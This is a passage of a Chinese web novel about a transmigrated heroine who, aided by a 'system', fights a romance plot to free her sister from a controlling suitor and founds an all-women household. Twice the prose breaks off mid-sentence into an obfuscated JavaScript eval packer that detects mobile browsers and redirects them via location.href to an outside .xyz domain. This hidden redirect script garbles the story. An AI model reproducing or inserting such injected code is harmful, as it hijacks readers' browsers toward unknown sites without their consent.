杜含章捧着那支笔,还有那幅画,只觉得自己坠入了《牡丹亭》的美梦之中,好似成为了大胆追爱的杜丽娘。 那实际一想,柳如琢到底做了什么呢? 他只是修补好了一册书,画了一幅画,送了一支笔,写了一些戏里的句子罢了。 仅仅两面之缘,杜含章就脑补出了一整出如牡丹亭般生生死死、缱绻缠绵的浪漫故事。 杜含章捧着那幅画,仿佛在回应画中的小字,默默道:“情不知所起,一往而深……” * 可情,真的是不知所起吗? 那为何“情不知所起”的多是女性的命运,而不是男性呢? 《牡丹亭》中死的怎么不是柳梦梅呢? 《红楼梦》里哭死的为何不是贾宝玉? 怒沉百宝箱,投江自尽的为何是杜十娘,不是李甲? 为何因为不知所起的情,而失去性命的总是女性? 这正是浪漫爱最吊诡的洗脑逻辑:情不知所起,女性一往情深。 这种情被父权文化塑造成燃尽自我、以痛为美、以苦为乐的感情,可那真的是爱吗? 还是一种更新型的《烈女传》呢? 一种让女性甘愿奉献、自我牺牲的病态脚本? 杜含章沉浸于此,浪漫爱的种子在她脑海中生根发芽,甚至在那一晚的梦里,还重温着与柳如琢的相遇…… * 翌日清晨,杜含章照例来到天字号铺子,与姜婋一同打理生意。 姜婋见她满面春风,不禁打趣:“姐姐今日好像格外开心啊。” 杜含章有些羞赧,轻声应道:“是吗?生意好,自然开心。” 姜婋倚着柜台,望着店门前熙攘的人流,心里浮现出这一路走来的点点滴滴。 遥想自杜老爷离世后,她与姐姐携手撑起家业,设计状元衫,研发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳如琢眼中闪着按捺不住的光,摘下胸前的红花递给杜含章: “今日只要你点头,我明日便上门提亲。明媒正娶,八抬大轿,迎你进门。” 人群中爆出一阵惊呼,有人偷偷抹泪,有人满目艳羡。 而杜含章,仿佛被推入一个巨大的梦境泡泡之中。 衣锦还乡、才子佳人、八抬大轿……所有浪漫的意象都在此刻汇聚成形,把她层层包裹,直至沦陷。 她心跳得极快,几乎不能呼吸。 这不就是她曾幻想无数次的场景,如《牡丹亭》般大团圆的结尾吗? 只要她点头,就可以拥有,这出戏也就圆满了。 可一阵刺耳的声音冲进脑海—— “你可知汤显祖为何不写杜丽娘与柳梦梅成亲以后的事?” “因为一写下去,那就不是《牡丹亭》,而是杜丽娘的辛酸实录!” “那时再吟什么‘生生死死随人愿,便酸酸楚楚无人怨’,恐怕都成了——柴米油盐随人倦,冷暖自知哑口咽!” * 杜含章犹豫了一瞬,回过头看向了姜婋。 只见姜婋在人群后方,脸色渐渐冷了下去。 在姜婋眼中,柳如琢不是在提亲,而是以胜利者的姿态归来,炫耀着自己的身份地位,以及即将据为己有的女人。 而杜含章,就犹如他胸前的红花一般,是装点他的荣耀,是男主衣锦还乡的奖赏。 女主一旦点头,那朵红花就会成为她人格死去的祭花。 这时,系统提示音响起:“玩家,剧情已步入关键节点【杜含章深闺藏情,柳如琢衣锦还乡】,请玩家冷静应对。” 81.21 鼓声在柳如琢的问话后接连响起,好似并不需要当事人杜含章的回答。 锣声尖利地似铁片划喉,一下一下,敲得震心。 姜婋只觉头晕目眩,方才和姐姐岁月静好的悠然自得,因柳如琢的出现,眨眼间变成了张牙舞爪的群魔乱舞。 她抬头望了望天,正午的太阳白的刺眼,像一只剥了皮的白眼球,仿佛在蔑视她——就你还妄想改变浪漫爱的走向? 姜婋一刻也待不下去,转身离开。 杜含章几乎没有犹豫地追了上去,把柳如琢晾在了原地。 这场盛大的求婚最终无疾而终。 * 但第二日,柳如琢还是带着聘礼来杜家提亲了。 所以,杜含章的答案并不重要,无论她答应与否,柳如琢都会来。 因为这是他势在必得的「锦上添花」。 当家主母马香兰当然乐见其成,但她心中别扭的是,自己的亲生女儿怎么没有新科进士上门提亲呢? 再加之,虽说杜老爷丧期未过,但如今能有新科进士登门求娶,实属难得,倘若杜老爷尚在,恐怕早已答应了。 马香兰也知此事不能操之过急,于是她以丧期未过,要与族中长辈商议为由,暂时推迟了答复。 * 那日回来后,姜婋一直把自己关在闺房中。 她带着一丝侥幸,怄着气问系统:“女主没有答应柳如琢,所以我闯关成功了吗?” 系统:“当然没有。” 姜婋语气强硬,眼神却发虚:“为什么?我已经成功阻止了剧情的推进,杜含章没有结婚,我为什么没有闯关成功?” 系统带着些无奈:“玩家,你知道的。这并不是女主发自内心的抉择,而是她迫于你姐妹情的压力,她怕你不开心,所以暂时选择的委曲求全。” 姜婋眼圈泛红:“难道……结婚就是她的人生之路吗?” 系统:“对于这一刻的杜含章来说,或许是的。” 姜婋不解,委屈得声音发颤:“难道我做了这么多,最后女主还是会嫁给柳如琢?那我做的这一切又有什么意义呢?” 系统:“玩家,也许女主就是需要走过这段路,才能判断出哪条才是她真正想走的路。这一副本中,你一直大包大揽,为她做了许多事情,可你有没有想过,真正的选择,只有她亲自经历后才会形成。就算女主结婚,也并不等于这一副本彻底无解。” 姜婋声音撕裂:“你不懂!我的很多好朋友都是因为结婚了,所以才断联!杜含章一旦结婚,这一副本我必输无疑……” 系统沉默了一瞬,才慢慢开口:“可即便这样耗下去,你也没法闯关成功。” 姜婋第一次表现出极度崩溃,泪水在眼眶打转,声音里满是茫然与无助: “那我该怎么做……前两个副本中,我都没有遇到这样的情况,现在我已经不知道该怎么办了……” 系统:“玩家,闭上眼睛。” 四周瞬间暗下,进入了心流世界。 姜婋阖上眼眸,系统的声音如海浪般涌动在耳边。 “玩家,如果杜含章不是一个女主角,她就是你的姐姐。现在,她觉得自己遇见了‘真命天子’,想与他共度余生。你会怎么做?” 姜婋思索了很久,她回忆起自从进入这个副本,与杜含章经历的点点滴滴。 她记得初入副本时,为了躲避缠足,她翻身跃上屋脊,将杜含章一把拽入怀中,眉眼飞扬地喊:“姐姐,抱紧我!” 她记得她为了反抗,在众人面前脱下袜子,站在桌上宣布: “华亭县的乡亲听好了,今日我便当众宣布,我杜暮晓此生不嫁。不依附任何男人,不做谁的妻子。一生一世,只陪我姐姐,彼此为伴。” 她记得自己被关入柴房,饿得天旋地转时,杜含章不计前嫌,将温热的馒头塞进她手中。 那一刻,她感动到流泪:“姐姐,你对我太好了……” 她记得她和杜含章在于夫人墓前结拜为彼此选定的姐妹,在飞舞如雪的纸钱中,二人齐声宣誓: “我杜暮晓此生,永远是姐姐你最坚强的后盾。” “我杜含章此生,永远是妹妹你最安稳的依靠。” ——“唯有生死,能将我们姐妹分离。 她记得守住家产那晚,两人并肩坐在屋脊上,月下谈心。 是她率先跃下,向杜含章张开双臂:“姐姐,别怕,我永远接着你。” …… 回忆如潮,姜婋忽然意识到—— 她很早就说了:她愿陪着姐姐,成为她最坚强的后盾,那个永远张开双臂接住她的人。 半晌后,姜婋缓缓睁开眼:“系统,或许你说得对,这是杜含章一定要走的路。但是—— 她话锋一转:“不到最后一刻,我永远都不认输。不!是即便到了最后一刻,我也不会认输。宅斗宅斗,那我就和浪漫爱斗一斗!” 系统:“所以玩家,你想到办法了吗?” 姜婋眼眸微亮:“第三十八计——缓兵计。” 倏忽间,黑暗散去,心流世界消失了。 * 另一边,杜含章独坐闺中,心绪难平。 她手中握着那支柳如琢送的柳木笔,指尖轻触那幅她的画像,泪水早已将那张纸洇湿出斑驳的痕迹。 一边是与她并肩走过风雨的妹妹,一边是她认定为真命天子的柳如琢。 她不知道该怎么办,更不知如何去化解妹妹对柳如琢没来由的厌恶与警惕。 就在这时,门扉轻响,是姜婋来了。 杜含章慌忙起身,抹干泪痕道:“婋婋,你放心,姐姐会一直陪着你。” 姜婋看着她,努力挤出一个笑容:“姐姐,无论你做什么选择,我都会支持你。” 杜含章怔住,泪光一闪:“你说的……可是真的?” 姜婋点头,神情却格外冷静:“但若你真要成亲,需得等到杜老爷丧期之后。” 杜含章道:“那是自然。父亲丧期未满,我怎敢违礼忘孝。” 姜婋心中笃定,杜含章一直谨记「三从四德」,即便男主着急迎娶,但在孝道面前,也可拖延一段时日。 纵使柳如琢有「男主光环buff附体法则」,但浪漫爱还有更底层的「三从法则」,这就叫用魔法打败魔法,谁让浪漫爱世界给女主那么多法则,作茧自缚了吧! 她继续道:“姐姐,还有一件事,请你答应我。” “什么事?” 姜婋从袖中取出一个锦盒,盒中正是杜记棉庄的掌印。 “在你成亲之前,我们姐妹需要先分家。” 杜含章微微蹙眉:“这是为何?” “因为你一旦成亲,杜家的家产就不再单纯属于杜家,为了避免日后与柳家产生纷争,还是早点划清界限为好。” 姜婋平静地看着她,“而我,选择今生不嫁,总得为自己留下一份依靠。” 杜含章点头:“好,那你多分一些去。” “不必了。我只拿走属于我的部分。” 姜婋有条不紊道:“按之前的计划,于夫人的染、漂、晒三坊全归你;杜老爷的织坊,我们一人一半;天、地、人,三家店你拿走两家,人字号店归我。姐姐你看,可好?” 杜含章怔住:“可这样算下来,你只拿了最小的人字号店……若无染、漂、晒三坊,你又如何继续卖自在裳呢?” “没关系。我可以再想别的路子。” 姜婋笑了笑,眼中却有一丝苦涩:“我本想我们姐妹联手,努力赚钱,成为华亭首富,但既然你已经决定成亲了。赚钱就不是我的主线任务了,我只要有一笔钱,够活就行。我们分家之事,在议亲之时,姐姐也要和柳家说明。” 她心道,要刺激柳如琢露出狐狸尾巴,就要从他最在意的钱的部分下手! 杜含章点头,握住姜婋的手:“婋婋,你会怪姐姐吗?” “怎么会呢?” 姜婋回握住她:“只要姐姐你是真心觉得幸福,那就好。” 杜含章抱住姜婋,哽咽出声:“谢谢你,我会幸福的,一定会!” 她说着流下了幸福的泪水。 * 最终,在姜婋的影响下,将两人婚事定于丧期之后。 这段时间,两家正好筹备婚礼,纳采、问名、纳吉、纳征、请期……一切流程都顺利无比。 姜婋终于意识到,当她不再试图对抗浪漫爱叙事时,整个世界是如此流畅丝滑。 虽然杜含章和柳如琢还未正式成亲,但自打定亲之后,柳家就摆出一副礼教森严的架势,表明柳家为官,杜家为商,规定成亲之前,杜含章要定期去了柳家家法,为妻之道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196778|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但杜含章沉浸在定亲的喜悦之中,并不觉得这有什么不妥。 * 这一日,杜含章来柳家学习礼法,她跪坐于佛堂之中,为柳如琢的母亲严仪,抄录佛经。 屋外天光明媚,可佛堂内却沉闷压抑。 严仪中年丧夫后,立志守节,抚养儿子。可柳老爷虽是翰林,却并未置产业,导致他离世后,严仪母子颠沛流离。只能来华亭投靠严仪的哥哥,至此寄人篱下,过着仰人鼻息的日子。 生活的变故,令严仪看起来比实际年纪更显苍老。 此刻,她闭目转珠,神色肃穆,一如这整座宅邸的气息——规训、克制。 杜含章写完最后一个字,轻轻放下笔,揉了揉酸痛的手腕,低声道:“伯母,佛经已抄完了。” 严仪睁眼,目光落在经卷上,眉头微蹙。 杜含章察觉,试探问道:“伯母,是含章抄得不好吗?要不要我再换一种字体?” 严仪放下经卷,淡淡开口:“我不满意的,并非字。” 她言下之意——不满意的,是人。 片刻沉默后,严仪似不经意地说道:“含章,你可知琢儿高中之时,京中已有几位大人欲将千金许配给他。可琢儿念我一人孤居,才恳请回乡任职。我们柳家世代翰林,门第清贵。你家虽出身商贾,但琢儿说你性子温顺,我也就同意了。既然日后要入我柳家门,自该谨守妇道,安于本分。” 杜含章垂眸,恭顺答道:“伯母放心。含章自当竭尽本分,操持好家事,经营好生意。” 严仪指间佛珠停住,语气严厉:“你这孩子,怎么还不明白?你已是我柳家的媳妇,那些抛头露面的营生,也该交给下人打理。你的职责,是相夫教子,不是料理生意琐事。” 这番话,无非是严仪给她一个下马威。 杜含章虽想争辩几句,但为了柳如琢,为了成为柳家儿媳,她还是选择隐忍退让。 * 离开了死气沉沉的柳府,杜含章回到朝气蓬勃的杜宅。 刚开院门,就见素书和巧珠被姜婋追得满院乱窜,笑声如风铃般穿堂而过。 素书见她回来,立刻扑到她身后,气喘吁吁道:“小姐,你可回来了,快救救我——” 杜含章掩唇而笑:“这又是怎么了?” 素书满脸通红,说不出话来,倒是巧珠憋着笑解释:“大小姐,二小姐设计了新的肚兜,非要我们挨个试穿给她看!” 姜婋跑过来道:“这有什么好害羞的?我这新式背心多实用,早晨练功时也能穿!” 她边说边展示:“姐姐你快瞧,这是我刚改良出来的抹胸!是用细棉布制的,加宽肩带、加长衣身,保暖贴身,穿上比市面上的都舒服。让你们试穿一下,一个个躲得跟贼似的,咱们都是女孩子,有什么害臊的!” 素书满脸委屈:“小姐,您快管管二小姐,她疯了。” 杜含章忍不住笑出声:“我可管不了她这小魔头。” 姜婋咧嘴一笑:“那是当然,一会儿姐姐你也得试穿!” “我也要穿?”杜含章一怔。 “当然了,你们试穿完,我好改良呀。对了,这抹胸还没起名字呢,姐姐你读书多,快帮我想一个。” 杜含章接过布料,指尖掠过那层细棉,触感柔软如云:“它既贴身,又轻柔……不如叫它‘贴云衣’如何?” 姜婋眼睛一亮:“还得是姐姐啊,一听就像能大卖的好名字!素书,别躲了,你第一个来,我得看看上身效果!” 素书惊叫一声,一溜烟跑远了。 杜含章望着这一幕,想到方才在柳府的局促和委屈,心头不禁泛起一阵酸涩。 姜婋看出她神色有异,忙问道:“姐姐,你怎么了?可是在柳家受委屈了?” 杜含章摇头:“没有。只是回来看到你们这样热闹,我心里觉得开心。” “这有什么,我们可以永远这样热热闹闹,开开心心啊。” 这时,春芽正巧从廊下经过。 姜婋眼尖,又一把将她拉住:“来来来,春芽,你也来帮我试穿。” 春芽笑着推脱:“二小姐,我这忙着呢,要给夫人送信去。” “什么信?” 春芽神秘道:“是妙真师太来信了,夫人肯定高兴极了。” 姜婋立刻来了精神:“妙真?” 82.22 主屋里,姜婋凑在马香兰身边,问道:“妙真师太怎么说?她找到女儿了吗?” 马香兰看着信,笑得一脸灿烂:“找到了!妙真说她们母女俩已经在五台山安顿下来,还邀请我过去住一段时日呢。哎,我倒是真想去,只是你还没嫁人,我怎么放心得下呢?” 姜婋立刻双眼放光:“去啊,当然要去!马香兰,你这一辈子能有几次说走就走的机会?你守着我做什么?我又不打算嫁人。” 马香兰眼里闪过一丝挣扎:“可我还得给你姐姐筹备嫁妆呢。” “我姐的婚期还远,急什么。” 马香兰又问:“晓晓……你真打算一个人过一辈子啊?” “你就别管我了。现在闭上眼睛,扪心自问,你想不想去见你的好姐妹妙真?想不想亲自去五台山烧香礼佛?想不想趁这个机会长途旅行,赏河山,望南海,登五岳?” 马香兰小声承认:“我当然想啊。只是——” “既然想了。” 姜婋打断她:“那就别说‘可是’。即刻启程,缺什么少什么我替你补上。” 马香兰愣住了:“晓晓……你真舍得我走啊?” 姜婋望着她的脸,心头一酸——你若不走,又怎能改变于倭寇之乱中死去的命运…… 她笑得洒脱:“马香兰,去做你真正想做的事吧。我有什么舍不得的?为你开心还来不及呢。” * 于是,姜婋亲自为马香兰筹备了这一趟远行所需的一应物资,连石管家、石大婶与春芽一家三口,也作伴护送。 临别那日,姜婋反倒像是娘亲般千叮咛万嘱咐,从出行安全到饮食住店的注意事项,说了好几遍。 听得马香兰都不耐烦了:“晓晓,我又不是第一次出远门,以前我还是组织进香的香头呢!” 杜含章上前道:“母亲,一路顺风。” 马香兰拉住她的手:“含章,我不在的时候,你这个做姐姐的,要照顾好妹妹。我们杜家虽不如柳家门第高,但你也别委屈自己,一味退让,无论何时,杜家都是你的底气。” 杜含章眼眶一红,点了点头。 马香兰一行人登上马车,姜婋看着车轿渐渐走远,突然想到,等她们抵达五台山的时候,差不多也是倭寇之乱爆发的时候了…… 也就是说,这将是她与马香兰在这个副本中的最后一面。 想到这儿,她猛地追了上去,喊道:“等一下!” 马车停住,马香兰撩帘问道:“怎么了?晓晓,你舍不得让娘走了?” 姜婋停在轿前,喘着粗气,张了张嘴,终于开口道:“娘,你一路保重。” 听见那声“娘”,马香兰愣住了,随后泪水簌簌落下,连忙用帕子胡乱擦着:“哎哟,晓晓,你怎么突然叫我娘了?叫得我……都不好意思了。行啦,我到了五台山就写信给你。” 姜婋也红了眼眶,自亲生母亲离世后,这是她第一次称一个人为“娘”。 她握住马香兰的手,声音哽咽却语气坚定。 “娘,我以前和你说过,来人间一趟,无论是母女、姐妹、朋友还是夫妻,都只能陪彼此走一段路。谢谢你成为我的母亲,陪我走了这一段。往后的路……你一定要保重。” 马香兰泪中带笑:“我的女儿,你也是。” 车轿重新启程,马香兰挥着手帕告别,直到渐行渐远,再也看不见。 姜婋站在原地,止不住地流泪。 杜含章揽住她的肩头:“你明明这么舍不得母亲走,又为何催促着她离开呢?” 姜婋抹着泪道:“因为,我想让她离开这里,走出去。” “走出去?” “嗯。” 姜婋泪眼婆娑地看着她道:“她走出去,才能活下去。” 杜含章倏地心中一震,她虽不知未来的发展,但隐约间却觉得这句话极具魔力,仿佛通向某种非常重要的东西…… 可那究竟是什么呢? * 回到闺房,姜婋还是泪流不止。 系统:“玩家,你怎么这么难过?” 姜婋一边抹泪一边道:“我是太开心了。我虽然没能改变杜含章和柳如琢成亲的命运,但是我起码改变了马香兰死亡的命运,还让妙真母女重逢……这说明,我还是有可能改变女主角的命运,对吧?我要仔细想想,如何扭转局势。” 她绞尽脑汁,忽然想到杜含章曾说过—— “晓晓,你或许不明白,我们女子若不嫁人,是活不下去的。” 这或许就是破局的关键。 在这个时代的女性,没有更好的选择,成亲才是活下去的办法。所以对于此刻的杜含章来说,和柳如琢结婚是最好的选择。如果要改变杜含章的想法,就应该让她看到另一种生活的可能性。 没想到,自己绕了一圈,最终又回到了最开始定下的目标:在这个吃女人的年代,若想走得长远,必须强身健体、赚钱谋生,找到一个权力色彩最小、尊重个体的生存空间。 眼下就是最好的时机,让杜宅彻底成为女性共居的试验田。 姜婋立刻呼叫系统:“系统,你帮我整理一下历史上终生不嫁的女子们是如何生存下去的,我记得明清珠三角一带有自梳女对吧?她们是不是自己赚钱、自立门户?” 系统:“正在为玩家整理相关资料……” * 次日清晨,姜婋召集了杜宅上下所有人。 她提前告知杜含章,今天有要事宣布。 姜婋站在院中,语气郑重:“大家都是杜家的老人了,我就有话直说。如今马香兰远行,不久后我姐姐成亲,往后这杜宅里就只剩我一个人,有几件事情,我要宣布。第一件,既然我已决意终身不嫁,那宅中男仆便不必再留。” 看家护院的柴四急了:“二小姐,您可别赶我们走啊!以后防身术的陪练也不需要我了吗?” 姜婋道:“我不是赶你们走,而是希望你们能有更好的去处。我会把卖身契还给你们,并且发放未来三个月的月钱。你们要回老家也好,另找东家也罢,去闯一番也好,总之,你们可以自由选择自己的命运。” 柴四眼圈泛红,鞠了一躬:“二小姐的恩情,我柴四这辈子都记着。以后若有用得着我的地方,只要您一声吩咐,我柴四上刀山、下油锅也在所不辞。” 姜婋笑着摆手:“行了吧,我又不是阎王爷,怎么动不动就上刀山下油锅?” 众人笑出声来,气氛一时缓和许多。 她转向院中众丫鬟婆子,神情一敛:“第二件事,院中的女子,若是想留下,那就必须和我一样——终身不嫁。” 杜含章闻言大惊。 众丫鬟也是一片哗然:“终身不嫁?” 姜婋目光炯炯:“没错,我打算将杜宅改名为‘姐妹屋’。今后,这里只住不嫁之女,绝无外男。我们不再称呼‘小姐’‘丫鬟’,一律为‘姐妹’。洗衣做饭、洒扫照料,一应事务轮值轮岗。我也会教大家经商,有志者可入股棉庄。我相信,只要靠着我们的双手,完全可以自食其力。” 这番话实属惊世骇俗,众丫鬟从未想过,她们的人生还有这样的选择。 沉默片刻后,巧珠率先开口:“二小姐,我愿意留下!” 一旁有人起哄:“巧珠,你不是天天趴在门口看那些路过的公子哥儿吗?” 巧珠挑眉道:“看归看,嫁是嫁。我不过是个丫鬟,那些少爷公子哪会真看上我?我心里有数。跟着二小姐做生意,挣银子,也比给人当通房丫头,熬成妾舒心得多!” 此言一出,众丫鬟思考起来,还真是在理。 姜婋纠正道:“我说了,从此以后没有主仆,更没有‘二小姐’,你们叫我‘婋婋’就好。就是女字旁一个老虎的‘婋’,这是我给自己取的新名字。” 巧珠忙道:“是,婋婋姐!” * 经过一番抉择之后,那些与姜婋亲近的丫鬟们纷纷留下,还有几位寡居的婆子也选择继续留守。 顷刻间,偌大的杜宅,只剩下为数不多的女人,但却多了一种前所未有的自由活力。 姜婋站在院中道:“留下来的人,就都是姐妹了!我知道女人在这个世界上多有不易,我们作为姐妹,更需要互相帮衬。我也会给大家适应的时间,在我姐姐成亲之前,如果不适应,也可以自行离开,绝不强求,但最后选择留下的人,我们需一同完成自梳女仪式。” 杜含章问道:“什么是自梳女仪式?” 姜婋答道:“自古以来,‘梳头’是女子出嫁前的仪式,由母亲或媒婆为其盘发,象征她将成为他人的妻子。而自梳女,是自己为自己盘发结髻,代表自己选择自己的命运——既不依附夫家,也不倚靠任何男子,而是靠双手自食其力,终身不嫁、独立生活。” 她展颜一笑,目光坚定:“而姐妹屋,就是我们这些自梳女要共同维护的女子家园。姐姐,你若是不想成亲了,也随时欢迎你加入我们!” 杜含章虽心向往之,但此刻她心中的天平还是向柳如琢倾斜,认为与他成亲才是自己的人生之路。 姜婋继续道:“既然要自食其力,那从明日起,我们要开始学习女书。” 巧珠歪头问:“那又是什么?” “女书是一种女性间交流的文字。” 姜婋解释道:“我已经决定,将‘杜记 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她之所以选择顺德,不只是因为“姐妹屋”的灵感,来自当地的“姑婆屋”,更因为那里是明代养蚕缫丝业的重镇。 在上一个副本中,姜婋曾奉昭离之命前往回夏传授养蚕之道,途中与蚕娘织女们学到了不少桑养与缫丝的知识。既然学了,就要在这一副本利用起来。更何况明末正是蚕桑、丝绸与海外贸易蓬勃发展的时期,若此刻不入局,就等于错失良机。 只是,姜婋为了杜含章,又不能离开华亭,须得派一个最信任的人去完成这项任务。 她思来想去,最终选定了巧珠。 * 夜里,姜婋唤来巧珠,认真问道:“巧珠,我记得没错的话,你老家是在广州府吧?” 巧珠点头:“我家乡在那边的一个小村子。但那儿穷,养不起我,我自小就跟着哥哥嫂嫂来华亭讨生活了。” “那你老家里还有什么人?娘亲还在吗?” “我娘还在,还有三个姐姐。” 姜婋忽地神色郑重道:“巧珠,我现在有一项非常重要的任务,要托付给你。” 巧珠听她语气严肃,立刻打起精神:“婋婋姐,你说吧,要我做什么?” “我会给你一大笔钱,让你去顺德,帮我投资桑园和缫丝坊。” 巧珠一愣:“啊?我……我可没做过生意啊,万一搞砸了怎么办?” 姜婋道:“你不是已经和我学会了识字吗?等你回了家,先打听清楚顺德最大的蚕园和缫丝坊是哪几家。然后,你就去应聘当女工,一步步把手艺和流程学清楚。” “学明白之后呢?” “帮我一一买下来。” “啊?”巧珠瞪大眼问:“婋婋姐,你是想做丝绸生意?” 姜婋点头:“你可以这么理解。” 巧珠一咬牙:“好!那我巧珠拼了命,也要帮你把那些产业都买下来!” “不。”姜婋轻声说,“是用我和我姐姐的名义买下来。” 巧珠怔了怔,但也没多问。 姜婋接着道:“等你学会女书,就立刻启程。到了顺德后,我们之间所有的通信,都用女书来写。” 巧珠点头:“好!我一定不负所托。” * 为了让姐妹棉庄的开张更具仪式感,姜婋特地找上了那位她初次翻墙出门时撞到的算卦师傅,请他帮忙挑选一个黄道吉日。 日子一到,杜记棉庄的旧匾正式撤下,新的“姐妹棉庄”金字牌匾在锣鼓声中高高挂起,宣告一个属于全女工坊正式诞生。 凭借之前的好口碑,开业不久,便推出新品——贴云衣。 为打入上层闺阁市场,姜婋开创性地推出量身定制服务,由姐妹屋的女子亲自上门,为各府中小姐量体裁衣,定制专属贴云衣。 这一服务模式前所未有,迅速在闺阁中引发轰动。 贴云衣声名远播,姐妹棉庄也就此一炮而红。 * 而这段时间,杜含章也需定时去柳家学习家规,晚上再回到姐妹屋。 她在两种生活之中奔波,逐渐感受到一股奇异的割裂感。 白天,她是被礼法禁锢住的柳家儿媳妇。 夜里,回到姐妹屋,她又可以自由自在的做自己。 在这两种生活的拉扯中,她开始逐渐思考自己的人生该走向何方。 这正是姜婋和系统商量出的对策——她不再大包大揽帮杜含章解决一切,用大道理劝她不去跟柳如琢成亲,而是让她感受到嫁做人妇,和与姐妹生活在一起,这两种生活的差异。 眼看杜含章心中的天平逐渐倾斜向姐妹屋时,柳如琢却不合时宜地出现了…… 83.23 七夕将近,姜婋本想和杜含章一同去看戏,金桃还特意为她们在戏台前留了两个好位置,谁知临到头,却被柳如琢横插一脚。 他也来约含章,说自己初入市舶司,好不容易得了个休沐,不想错过这个特别的日子。 杜含章一时纠结。 姜婋不愿见姐姐为难,于是故作大度,让出了机会:“姐姐,你开心就好。” 她虽这么说着,但其实早已默默地跟在两人身后。 * 夜幕降临,庙会热闹非凡。 柳如琢着一袭月白长衫,立于灯海之中,倒也像那么回事。毕竟在「女主必为男主心动法则」的加持下,杜含章自然是情人眼里出潘安。 柳如琢与杜含章沿街而行,偶尔凑近,低声耳语,逗得杜含章掩唇轻笑。 姜婋跟在不远处,暗自腹诽:“也不知柳狐狸和我姐说什么呢?” 她一边想,一边小心挪步。 系统提醒:“玩家,再靠近就要暴露了。” 姜婋瘪嘴:“系统,那你倒是帮我实况转播啊!” 系统:“本系统担心你一听见他们对话,就会冲上去暴打柳如琢。” 姜婋一脸理直气壮:“我像是那么冲动的人吗?” 系统沉默。 * 前方灯火下,杜含章轻声问:“我听伯母说你最近很忙,总是晚归……” 柳如琢叹气道:“我新进市舶司,事务繁杂,凡事都得从头学起,自然慢了些。也因此没能常陪着你……你不会怪我吧?” 杜含章轻笑摇头:“怎么会呢?” 柳如琢握住她的手,温声道:“还是你最懂事,知道体谅我。” * 闻言,姜婋双眼冒火,怒发冲冠。 “我真恨不得冲上去,把柳狐狸那颗脑袋拧下来!” 系统:“玩家,你刚还说不冲动。” “体谅!体谅!男主永远有人体谅,怎么没人体谅女主?” 姜婋愤然道:“凭什么在浪漫爱故事里,女主心中的第一位永远是男主,可男主心中的第一位却不一定是女主。男主可以有事业、信仰、伙伴……这些都可以排在女主之前,却不会妨碍他被赋予「深情」的特质。哪怕男主忘了女主,忽视她、伤害她,女主也会觉得他是有苦衷的。” “反观女主呢?她只能困于内宅,将男主摆在生命的第一位,牺牲自己、理解他、等待他、原谅他、为他成全一切。” “这就是浪漫爱叙事的狡猾,允许男主拥有「世界」,却只允许女主拥有「爱情」,而所谓的「爱」,也是由父权制定义的——牺牲自我之爱。” 她盯住桥头那一对剪影,愤愤不平:“柳如琢算老几啊,凭什么让我姐姐围着他的时间转?” * 这时,街角忽有小贩高声叫卖:“冰糖葫芦咯,酸酸甜甜的冰糖葫芦哩!” 柳如琢停下脚步,买了一串递给杜含章。 姜婋远远跟着,翻了个白眼:“果然,每逢夜市,必有糖葫芦。现在是七夕,正值盛夏,又在南方,这玩意儿早该化成一滩糖浆了吧?作者写这段的时候就不能动点脑子,换个花样?” 系统:“玩家,‘糖葫芦、烟火、灯谜’已被浪漫爱叙事列入‘古风桥段通用模板’,无论地理纬度与气候条件,糖葫芦永不缺席。” 姜婋无语:“下一步是不是要猜灯谜?女主答不上来,男主神助攻一语点破?然后‘四目相对,心有灵犀’?” * 话音未落,柳如琢果然指着一盏红灯笼,笑问杜含章:“你来猜猜这个!谜面是:一生一世一双人,只愿并肩不分离。” 杜含章正要答出,柳如琢却轻声道:“别急,我来同你一起猜。” 两人对视一笑,异口同声:“是‘从’字。” 不远处,姜婋当场扶额:“来了来了,这种情节我都能背诵分镜了。” 再往前走了没几步,杜含章便蹙眉停下,伸手揉了揉脚踝。 柳如琢忙问:“怎么了?不舒服?” 杜含章摇头:“没事,走得久了,脚有些酸。” 姜婋站在不远处,一脸心疼:“哎……自从柳如琢说喜欢三寸金莲,姐姐就又重新开始裹脚了。明明已经松掉裹脚布,却为了取悦他,再次忍受那种酷刑。为什么我们女性,总是会把男人那些莫名其妙的喜好,放在自己的主体性之前?如果有人跟我说喜欢三寸金莲,我直接一脚踹飞他!” * 说话间,两人走到桥中央,桥上人流如织,却都自动为女男主让出一小段空间,仿佛这对才子佳人自带结界。 桥上有个卖同心锁的摊位,摊主笑眯眯地推销:“公子,买一对锁吧,锁上名字,就能锁住情缘。” 柳如琢挑了一把鎏金铜锁,取过刻刀,将“如琢”“含章”二字刻在上面。 他柔声说道:“此锁一合,此情不渝。” 杜含章低头一笑,颊边泛起红晕。 * 人群之外,姜婋双手抱臂,冷眼旁观。 “如果这个世界真有一把能把两个人‘锁死’的锁,那就只有手铐。一段良性的关系,应该有退出机制,想在一起时就在一起,不想了也能走。非要用个死物绑住两人,那不就是监狱吗?” 她望着柳如琢刚刚扣在桥栏上的锁,眼神一凛。 等两人走远后,姜婋默默上前,想把那锁撬开。 可撬了半天,铜锁纹丝不动。最后没辙,她又买了一把锁,挂在这把锁的旁边,写的是她跟姐姐的名字。 系统:“玩家,你刚刚还嘲笑这种无聊的行为。” 姜婋认真挂锁,头也不抬道:“我这锁,跟那把不一样。” “柳如琢那把锁,是想把我姐姐锁在他身边。而我这把锁,会把钥匙交给姐姐,她想去哪儿,就去哪儿。” * 当姜婋挂好锁,再次扭头时,却发现杜含章和柳如琢早已走远。 她急忙追上去,钻进人群,悄悄跟在两人身后。 